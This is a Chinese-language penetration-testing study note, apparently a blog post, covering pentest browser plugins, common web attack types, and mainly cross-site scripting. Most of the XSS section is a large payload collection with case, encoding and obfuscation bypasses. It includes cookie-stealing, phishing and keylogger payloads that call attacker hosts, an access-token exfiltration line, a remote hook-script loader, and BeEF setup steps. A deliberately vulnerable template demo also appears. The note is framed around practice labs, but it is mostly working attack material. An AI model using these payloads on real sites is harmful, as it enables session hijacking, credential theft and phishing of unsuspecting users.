1、渗透测试 实用 浏览器插件
chrome、edge 插件:搜索 cookie,安装 cookie editor,可以打开插件 导出 cookie
- :Hackbar是网络安全学习者常用的工具 (https://www.fujieace.com/hacker/tools/hackbar.html )。
解决Firefox插件-Hackbar许可问题:https://blog.csdn.net/qq_45755030/article/details/119515945 hackbar-2.3.1-学习版:https://fengwenhua.top/index.php/archives/43/
- :扫描 Web 使用易受攻击的应用程序JavaScript库。retire.js目标是帮助使用已知漏洞的版本。
- :平台结构、网站环境、服务器配置环境可分析目标网站JavaScript框架、编程语言等参数chrome网站技术分析插件。
- :代理自动切换
- :firefox 代理自动切换
- :点击右键快速解码相应字符,减少了翻转每个解码网站的时间。
- :在通常的渗透测试过程中,大量的网页经常被打开 ,该工具可以在标签列表中聚合网页
- :导出和导入 cookie
- :PTK仪表盘允许您分析客户端/服务器端技术,并检查任何第三方库以获得现有的CVE,例如,已知的漏洞。同时,它允许您在浏览应用程序时快速访问所有相关框架和请求的信息。
- :一键 开启 / 关闭 js
- :是一款针对Web应用程序渗透测试Web扩展包括大量的测试工具,如XSS Payload和反向Shell等等。
- :显示网站在哪里(国家、城市) IP 其他服务/端口是开放的。
对于 Chrome 有两种方法可以下载插件:
- 方法 1:应用商店搜索插件,安装
- 方法 2:使用 edge 下载插件,找到插件目录,然后导入 Chrome
常见 web 攻击
常见的web攻击与预防:https://cloud.tencent.com/developer/article/1592289
十种常见的web攻击:https://zhuanlan.zhihu.com/p/140932186
XSS CSRF SQL 注入 上传文件中的漏洞 命令行注入 DDoS 攻击
- SYN Flood 攻击、
- ACK Flood 攻击、
- UDP Flood 攻击、
- ICMP Flood 攻击、
- CC 攻击、
- DNS Flood、
- HTTP 慢速连接攻击
- 等等
流量劫持 --- DNS 劫持 流量劫持 --- HTTP 劫持 服务器漏洞 --- 越权操作漏洞 服务器漏洞 --- 漏洞遍历目录 服务器漏洞 --- 物理路径泄露 服务器漏洞 --- 源代码暴露漏洞
kali 内网穿透 横向渗透 网络服务:web、ftp、mysql、rdp、等 web 漏洞多,成功获得权限的概率更高 owasp top 10 网络服务: 1. 爆破 (administrator、linux、root) 密码 2. 漏洞利用 ( exp、msf ) 3. 欺骗 ( DNS欺骗 ) 4. 钓鱼
2、XSS : Cross Site Script
相关知识
http 协议 客户端的 cookie 服务端的 session JavaScript 操作 cookie 将脚本注入网页 xss 获得 cookie 发送邮件 xss 靶场练习 xss 平台搭建 xss 检测和利用 xss 防御方法 xss 闯关游戏
OWASP TOP 10(二)XSS漏洞(概述,PoC、绕过分类、结构、变形,XSS-Filter、xsser、xsstrike):https://blog.csdn.net/weixin_45677119/article/details/111164997
:https://www.bilibili.com/video/BV1jL4y1j7i6?p=7
(英语:Cross-site scripting,一般简称:XSS)是网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户在网页上注入代码,其他用户在观看网页时会受到影响。这类攻击通常包含了 HTML 以及用户端脚本语言。 XSS 攻击通常是指利用网页开发中留下的漏洞将恶意指令代码注入网页,使用户能够加载并执行攻击者恶意制作的网页程序。这些恶意的网页程序通常是 JavaScript,但也可以包括 Java,VBScript,ActiveX,Flash 甚至是普通的 HTML。攻击成功后,攻击者可能会获得更高的权限(如执行某些操作)、私人网页内容、会话和 cookie 等等各种内容。
简而言之,目前的网页基本上是由 html css javascript 一般用户输入文本信息,而黑客输入的内容可能是 javascript 当用户访问页面时,代码就会执行,此时就会达到攻击的目的。
一句话总结:
注意:
一个 XSS 攻击的示意:
上图先使用 Chrome 浏览器进行正常和非正常留言,Chrome 浏览器自动检测出 XSS 攻击,屏蔽了请求。然后打开 IE8,执行同样的操作,IE8 成功受到了攻击。
以上 GIF 所展示的,是一个用户将文本框的信息提交 form 表单到后台,后台反馈到前台进行留言展示的场景。表单提交代码如下:
<form role="form" method="post">
<div class="form-group">
<label>输入内容</label><br />
<textarea id="text" name="text"></textarea>
</label>
</div>
<button id="btn" type="submit" class="btn btn-default">提交</button>
</form>
<label>展示内容</label>
<div id="show" class="col-md-4">
{
{text | safe}}
<!--这里是nunjucks模板的展示写法,由后台赋值text变量-->
</div>
<script>
$("#btn").click(function() {
$.ajax({
type: "POST",
url: "/index",
cache: false,
data: {"text": $("#text").text()},
success: function(msg) {
}
});
})
</script>
前台表单提交到后台服务器,可以直接使用 form 表单提交,也可以使用 ajax 提交的方式。后台代码可以选择任意语言实现( java、php 或者 nodejs 等均可 ),这里使用的 nodejs 代码,thinkjs3 的框架,后台代码如下:
//index.js
const Base = require('./base.js');
module.exports = class extends Base {
indexAction() {
if(this.isGet) {
//如果是Get请求,直接显示前台页面
return this.display();
} else if(this.isPost) {
//如果是Post请求,赋值nunjucks模板中的text变量,再进行页面展示
let post = this.post();
this.assign("text", post.text);
return this.display();
}
}
};
这里只是一个比较轻微的弹出警告框的攻击,但如果攻击代码是:
<script type=text/javascript>window.location = "http://黑客IP:8360/getcookie?cookie="+document.cookie</script>
则会将用户的 cookie 信息发送到黑客那里,而用户的 cookie 信息中很可能含有用户名和密码等重要信息,后果不堪设想。
XSS 基本分类
1. 存储型 xss
2. 反射型 xss
3. Dom 型 xss
4. Self 型 xss
- 存储型 XSS:存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。
- 反射型 XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
XSS 靶场 ( DVWA、pikachu、在线靶场 )
DVWA 靶场安装和设置:https://www.bilibili.com/video/BV1jL4y1j7i6?p=9 pikachu 靶场安装和设置 ( https://www.bilibili.com/video/BV1jL4y1j7i6?p=10 ),把 ip 地址改成自己服务器的 ip
在线 靶场 ( 网上有很多在线靶场 ):https://xss.angelo.org.cn/level1.php?name=test xss 靶场大通关:https://www.cnblogs.com/cute-puli/p/10834954.html
XSS payload
关键字:xss payload
XSS payload:https://www.jianshu.com/p/0cb3d4354c85
XSS payload 大全:https://www.cnblogs.com/xiaozi/p/7268506.html
cookie 攻击 payload <script>document.location="http://192.168.0.6/pikachu_master/pkxss/xcookie/cookie.php?cookie="+document.cookie;</script>
钓鱼 攻击 payload <script src="http://192.168.0.6/pikachu_master/pkxss/xfish/xfish.php"></script>
记录键盘 攻击 payload <script src="http://192.168.0.6/pikachu_master/pkxss/rkeypress/rk.js"></script>
<iframe src="../csrf" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)>
常用
<script>alert(/xss/)</script>
<svg onload=alert(document.domain)>
<img src=document.domain onerror=alert(document.domain)>
<img src="javascript:alert('XSS')">
<img src="" onerror=alert("XSS")> // 如果 script 标签被屏蔽,可以使用其他标签
<M onmouseover=alert(document.domain)>M
<marquee onscroll=alert(document.domain)>
<a href=javascript:alert(document.domain)>M</a>
<body onload=alert(document.domain)>
<details open ontoggle=alert(document.domain)>
<embed src=javascript:alert(document.domain)>
把前面的标签进行闭合 ( 只要尖括号闭合,里面的内容对错不用管 ),然后跟上 JavaScript 代码
<script>alert("XSS")</script> <script>alert(document.cookie)</script> ><script>alert(document.cookie)</script> ='><script>alert(document.cookie)</script> "><script>alert(document.cookie)</script>
"><a href="javascript:alert:alert(/xss/)">click</a>
URL 编码 ( 是 URL 编码,不是 HTML 编码 )
- %3Cscript%3Ealert('XSS')%3C/script%3E
在线 URL 编码、HTML 编码:https://www.bt.cn/tools/encryhtml.html
大小写绕过
<script>alert(1)</script>
<sCrIpT>alert(1)</sCrIpT>
<ScRiPt>alert(1)</ScRiPt>
<sCrIpT>alert(1)</ScRiPt>
<ScRiPt>alert(1)</sCrIpT>
<img src=1 onerror=alert(1)>
<iMg src=1 oNeRrOr=alert(1)>
<ImG src=1 OnErRoR=alert(1)>
<img src=1 onerror="alert("M")">
<marquee onscroll=alert(1)>
<mArQuEe OnScRoLl=alert(1)>
<MaRqUeE oNsCrOlL=alert(1)>
关键字替换
- <sc<script>ript>alert("XSS")</script>
各种 alert
<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>
<script>alert('1')</script>
<script>alert("1")</script>
<script>alert`1`</script>
<script>(alert)(1)</script>
<script>a=alert,a(1)</script>
<script>[1].find(alert)</script>
<script>top["al"+"ert"](1)</script>
<script>top["a"+"l"+"e"+"r"+"t"](1)</script>
<script>top[/al/.source+/ert/.source](1)</script>
<script>top[/a/.source+/l/.source+/e/.source+/r/.source+/t/.source](1)</script>
伪协议
<a href=javascript:/0/,alert(%22M%22)>M</a>
<a href=javascript:/00/,alert(%22M%22)>M</a>
<a href=javascript:/000/,alert(%22M%22)>M</a>
<a href=javascript:/M/,alert(%22M%22)>M</a>
Chrome XSS auditor bypass
?param=https://¶m=@z.exeye.io/import%20rel=import%3E
<base href=javascript:/M/><a href=,alert(1)>M</a>
<base href=javascript:/M/><iframe src=,alert(1)></iframe>
长度限制
<script>s+="l"</script> \... <script>eval(s)</script></pre>
jquery sourceMappingURL
</textarea><script>var a=1//@ sourceMappingURL=//xss.site</script>
图片名
"><img src=x onerror=alert(document.cookie)>.gif
过期的 payload
- src=javascript:alert 基本不可以用
- css expression 特性只在旧版本 ie 可用
css
<div style="background-image:url(javascript:alert(/xss/))"> <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE></pre>
markdown
[a](javascript:prompt(document.cookie)) [a](j a v a s c r i p t:prompt(document.cookie)) <javascript:alert('XSS')>  [notmalicious](javascript:window.οnerrοr=alert;throw%20document.cookie) [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=) </pre>
iframe
<iframe οnlοad=' var sc = document.createElement("scr" + "ipt"); sc.type = "text/javascr" + "ipt"; sc.src = "http://1.2.3.4/js/hook.js"; document.body.appendChild(sc); ' />
<iframe src=javascript:alert(1)></iframe>
<iframe src="data:text/html,<iframe src=javascript:alert('M')></iframe>"></iframe>
<iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+></iframe>
<iframe srcdoc=<svg/onload=alert(1)>></iframe>
<iframe src=https://baidu.com width=1366 height=768></iframe>
<iframe src=javascript:alert(1) width=1366 height=768></iframe
form
<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>M
<form><input formaction=javascript:alert(1) type=submit value=M>
<form><input formaction=javascript:alert(1) type=image value=M>
<form><input formaction=javascript:alert(1) type=image src=1>
meta
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
其他一些奇怪的标签
<video data-automation="FootageHero_heroVideo_video" loop="" autoplay="" class="u_c_8bdc3"><source src="https://ak.picdn.net/footage/assets/directors_choice/footage-carousel-stock-videos.webm" type="video/webm"><source src="https://ak.picdn.net/footage/assets/directors_choice/footage-carousel-stock-videos.mp4" type="video/mp4"></video>
#第一类:Javascript URL <a href="javascript:alert('test')">link</a> <a href="javascript:alert('xss')">link</a> <a href='vbscript:MsgBox("XSS")'>link</a> <a href="vbscript:alert(1)">Hello</a> <a href="vbscript:alert(1)">Hello</a> <a href=javascript:alert("XSS")>link</a> <a href=`javascript:alert("RSnake says,'XSS'")`>link</a> <a href=javascript:alert(String.fromCharCode(88,83,83))>link</a> <a href="javascript:alert(1)">link</a> <a href="javaSCRIPT:alert(1)">Hello</a> <a href="javasc
ript:alert(1)">link</a> <a href="javas	cript:\u0061lert(1);">Hello</a> <a href="jav ascript:alert('XSS')">link</a> <a href="jav	ascript:alert('XSS')">link</a> <a href="jav
ascript:alert('XSS')">link</a> <a href=" javascript:alert('XSS');">link</a> <a href="javascript:\u0061lert(1)">Hello</a> <a href="javascript:confirm`1`">link</a> <a href="javascript:confirm(1)">link</a> <a href="j	a	vas	c	r	ipt:alert(1)">1</a> <a href="javascript:%61%6c%65%72%74%28%31%29">link</a> <a href="javascript:\u0061\u006C\u0065\u0072\u0074(1)">link</a> <a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2</a> <a href=javascript:eval("alert('xss')")>link</a> <a href=javascript:alert('XSS')>link</a> <a href=javascript:alert('XSS')>link</a> <a href=javascript:alert('XSS')>link</a> <a href="data:text/html;base64,amF2YXNjcmlwdDphbGVydCgxKQ==">test</a> <a href=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+>1</a> <iframe/src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="> #第二类:CSS import <style>@import url("http://attacker.org/malicious.css");</style> <style>@imp\ort url("http://attacker.org/malicious.css");</style> <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <STYLE>@import'http://jb51.net/xss.css';</STYLE> #第三类:Inline style <div style="color: expression(alert('XSS'))"> <div style=color:expression\(alert(1))></div> <div style="color: '<'; color: expression(alert('XSS'))"> <div style=X:expression(alert(/xss/))> <div style="x:\65\78\70\72\65\73\73\69\6f\6e(alert(1))"> <div style="x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(alert(1))"> <div style="x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029"> <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS <DIV STYLE="background-image: url(javascript:alert('XSS'))"> <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> <div style="z:exp/*anything*/res/*here*/sion(alert(1))"> <div style=xss:expr/*XSS*/ession(alert('XSS'))> </XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))> </XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.baidu.com")> <img STYLE="background-image:url(javascript:alert('XSS'))"> //ie6 <img STYLE="background-image:\75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29"> <A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
#第四类:JavaScript 事件 <div οnclick="alert('xss')"> <div οnmοuseenter="alert('xss')"> <div onclick ="alert('xss')"> <BODY ONLOAD=alert('XSS')> <img src=1 οnerrοr=alert(1)> <img/src='1'/οnerrοr=alert(0)> <img src="1" οnerrοr="alert(1)" /> <img src=1 alt=al lang=ert οnerrοr=top[alt+lang](0)> <img src="1" οnerrοr=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img> <img src=1 οnmοuseοver=alert('xss') a1=1111> <img src=x οnerrοr=s=createElement('script');body.appendChild(s);s.src='http://t.cn/R5UpyOt';> <a href="#" οnclick=alert('\170\163\163')>test</a> <a href="#" οnclick="\u0061\u006C\u0065\u0072\u0074(1)">link</a> <a href="#" οnclick="\u0061\u006C\u0065\u0072\u0074`a`">link</a> <a href="#" οnclick="alert('xss')">link</a> <marquee οnscrοll=alert(1)> test</marquee> <div style="width:100px;height:100px;overflow:scroll" οnscrοll="alert('a')">123456 <br/><br/><br/><br/><br/></div> <DIV onmousewheel="alert('a')" >123456</DIV><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/> <div style="background-color:red" οnmοuseenter="alert('a')">123456</div> <DIV οnmοuseleave="alert('1')">123456</DIV> <div contentEditable="true" style="background-color:red" οnfοcusin="alert('a')" >asdf</div> <div contentEditable="true" style="background-color:red" οnfοcusοut="alert('bem')" >asdf</div> <marquee onstart="alert('a')" >asdf</marquee> <div style="background-color:red;" onbeforecopy="alert('a')" >asdf</div> <div style="background-color:red;" onbeforecut="alert('a')" >asdf</div> <div style="background-color:red;" contentEditable="true" onbeforeeditfocus="alert('a')" >asdf</div> <div style="background-color:red;" ="true" onbeforepaste="alert('a')" >asdf</div> <div style="background-color:red;" οncοntextmenu="alert('a')" >asdf</div> <div style="background-color:red;" οncοpy="alert('a')" >asdf</div> <div contentEditable="true" style="background-color:red;" oncut="alert('a')" >asdf</div> <div style="background-color:red;" οndrag="alert('1')" >asdf</div> <div style="background-color:red;" οndragend="alert('a')" >asdf</div> <div style="background-color:red;" οndragenter="alert('b')" >asdf</div> <div contentEditable="true" style="background-color:red;" οndragleave="alert('a')" >asdf</div> <div contentEditable="true" style="background-color:red;" οndragοver="alert('b')" >asdf</div> <div contentEditable="true" style="background-color:red;" οndragstart="alert('a')" >asdf</div> <div contentEditable="true" style="background-color:red;" οndrοp="alert('b')" >asdf</div> <div contentEditable="true" style="background-color:green;" οndrοp="alert('bem')" >asdf</div> <div contentEditable="true" style="background-color:red;" onlosecapture="alert('b')">asdf</div> <div contentEditable="true" style="background-color:red;" οnpaste="alert('a')" >asdf</div> <div contentEditable="true" style="background-color:red;" onselectstart="alert('a')" >asdf</div> <div contentEditable="true" style="background-color:red;" onhelp="alert('a')" >asdf</div> <div STYLE="background-color:red;behavior:url('#default#time2')" onEnd="alert('a')">asdf</div> <div STYLE="background-color:red;behavior:url('#default#time2')" onBegin="alert('a')">asdf</div> <div contentEditable="true" STYLE="background-color:red;" onactivate="alert('b')">asdf</div> <div contentEditable="true" STYLE="background-color:red;filter: Alpha(opacity=100, style=2);"onfilterchange="alert('b')">asdf</div> <div contentEditable="true" onbeforeactivate="alert('b')">asdf</div> <div contentEditable="true" onbeforedeactivate="alert('a')">asdf</div> <div contentEditable="true" ondeactivate="alert('bem')">asdf</div> <video src="http://www.w3schools.com/html5/movie.ogg" onloadedmetadata="alert(1)" /> <video src="http://www.w3schools.com/html5/movie.ogg" οnlοadstart="alert(1)" /> <audio src="http://www.w3schools.com/html5/movie.ogg" οnlοadstart="alert(1)"> <audio src="http://www.w3schools.com/html5/movie.ogg" οnlοadstart="alert(1)"></audio> <body οnscrοll=alert(26)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br> <input type="hidden" accesskey="X" οnclick="alert(/xss/)">
#第五类:Script 标签 <script src="http://baidu.com"></script><script>Function(atob('YWxlcnQoInhzcyIp'))()</script> <script>alert("XSS")</script> <scr<script>ipt>alert("XSS")</scr<script>ipt> <SCRIPT>a=/XSS/ alert(a.source)</SCRIPT> <script>alert(/1/.source)</script> <script>alert(1);</script> <script>prompt(1);</script> <script>confirm(1);</script> <script>alert(/88199/)</script> <script>alert(`a`)</script> <script>alert('a')</script> <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> <script>eval(alert(1))</script> <script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 50, 51, 41))</script> <script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script> <script>eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</script> <script>setTimeout('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</script> <script>setTimeout(alert(1),0)</script> <script>setTimeout`alert\x28\x27 xss \x27\x29`</script> <script>setInterval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</script>
<script src=data:text/javascript,alert(1)></script> <script src=data:text/javascript,alert(1)></script>
<script>\u0061\u006C\u0065\u0072\u0074(123)</script> <script>\u0061\u006C\u0065\u0072\u0074(1)</script> <script>\u0061\u006C\u0065\u0072\u0074`a`</script> <script>window['alert'](0)</script> <script>parent['alert'](1)</script> <script>self['alert'](2)</script> <script>top['alert'](3)</script> <!--[if]><script>alert(1)</script --> <script>alert("xss");;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> <script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script> <script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
一些常用小技巧
在挖掘xss漏洞时,经常会遇到各类过滤手段,比如将<>进行html实体编码,单双引号过滤,空格过滤,关键字过滤等等
1. 编码绕过: url编码绕过 unicode编码绕过 html实体编码绕过:实体编码绕过需要结合<svg></svg>标签使用,否则利用的失败率比较高
2. 换行绕过 使用%0A进行关键字绕过
3. 利用全局变量绕过 Self,window等等 c=0;for(i in self){if(/^a[rel]+t$/.test(i)){self[Object.keys(self)[c]](1)}c++;};
4. 关键字绕过 Alert被过滤了可以使用下面的进行弹窗 <script>prompt(“1”);</script> <script>confirm(1);</script>
1. <script>new Image().src='http://localhost/cookie.php?c='+localStorage.getItem('access_token');</script> 2.<img src=x οnerrοr=alert(1)> 3. Б='',Д=!Б+Б,И=!Д+Б,Ж=Б+{},Щ=Д[Б++],З=Д[Л=Б],Ю=++Л+Б,Ф=Ж[Л+Ю],Д[Ф+=Ж[Б]+(Д.И+Ж)[Б]+И[Ю]+Щ+З+Д[Л]+Ф+Щ+Ж[Б]+З][Ф](И[Б]+И[Л]+Д[Ю]+З+Щ+"(Б)")();
5. 一些奇形怪状的xss的payload ( 使用其他语言编码后的 js ) 6. <script>alert(document.cookie);</script> 7. <svg/οnlοad=alert(1)> 8. <a href=”javascript:alert(1);”>test</a>
万能 xss payload
关键字:万能 xss payload
终极万能XSS Payload:https://blog.csdn.net/qq_39997096/article/details/114646308
漏洞进阶之 --- XSS万能超级无敌全通杀payload:https://blog.csdn.net/LizePing_/article/details/118581289
在进行跨站脚本攻击的时候(xss),通常会需要我们通过插入的代码场景构造 payload。就比较耗费时间,为了更方便的去测试漏洞,万能 XSS payload 就出现了
什么是万能 XSS payload:
这里对它的定义就是可以适应各种场景进行 js 代码执行的 payload,只需要有这一条 payload 即可(例如闭合html 闭合js)
下面我们来看看 payload长什么样子:
可以用这个 "" 试下 在线 xss:https://xss.angelo.org.cn/level1.php?name=XSS
更多功能的 xss 平台
pikachu 的 xss 只有 "cookie、钓鱼、记录键盘" 功能。
可以看到只有3个模块,模块太少,如果需要其他功能,可以搜索其他 xss 后台,
搜索关键字:xss 平台、xss平台
github xss平台:https://github.com/78778443/xssplatform
搭建个人XSS平台:https://blog.csdn.net/weixin_44676102/article/details/122021764
kali 中 xss 平台 --- beef-xss
kali 早期版本中也有一个 " xss 平台 " 叫做 " beff-xss ",新版本需要安装。
1. apt install beef-xss # 安装 beef 2. cd /usr/share/beef-xss # 切换到 beef 目录 3. vim config.yaml # 打开配置文件 4. 按 i 进入插入模式,找到默认 user,password 进行修改,找到 host 修改成本机地址 5. systemctl start beef-xss.service # 开启 beef systemctl stop beef-xss.service # 关闭 beef systemctl restart beef-xss.service # 重启 beef 6. 浏览器打开 http://127.0.0.1:3000/ui/panel 然后输入用户名、密码
BeEF-XSS 管理登录页面。用户名默认为 beef,密码在首次启动 beef-xss 时需要手动设置。( 启动 beef-xss 会自动打开浏览器 )
测试 xss
Hocked Browers
- online browers 在线浏览器
- offline browers 离线浏览器
Detials
- 浏览器、插件版本信息,操作系统信息
Logs
- 浏览器动作:焦点变化,鼠标单击,信息输入
commands
- 绿色模块:表示模块适用当前用户,并且执行结果对用户不可见
- 红色模块:表示模块不适用当前用户,有些红色模块也可以执行
- 橙色模块:模块可用,但结果对用户可见
- 灰色模块:模块为在目标浏览器上测试过
BeEF-XSS详细使用教程:https://blog.csdn.net/smli_ng/article/details/106067842
xss 扫描 工具
关键字:xss 扫描 工具
还在往各种输入框里提交 <script>alert(/xss/)</script> ? 有这功夫不如喝喝茶、划划水? 这时候就需要 XSS 扫描 工具
xsser
github:https://github.com/epsylon/xsser
xsser 是一个自动框架,用于检测、利用和报告基于 Web 的应用程序中的 XSS 漏洞。
用法:
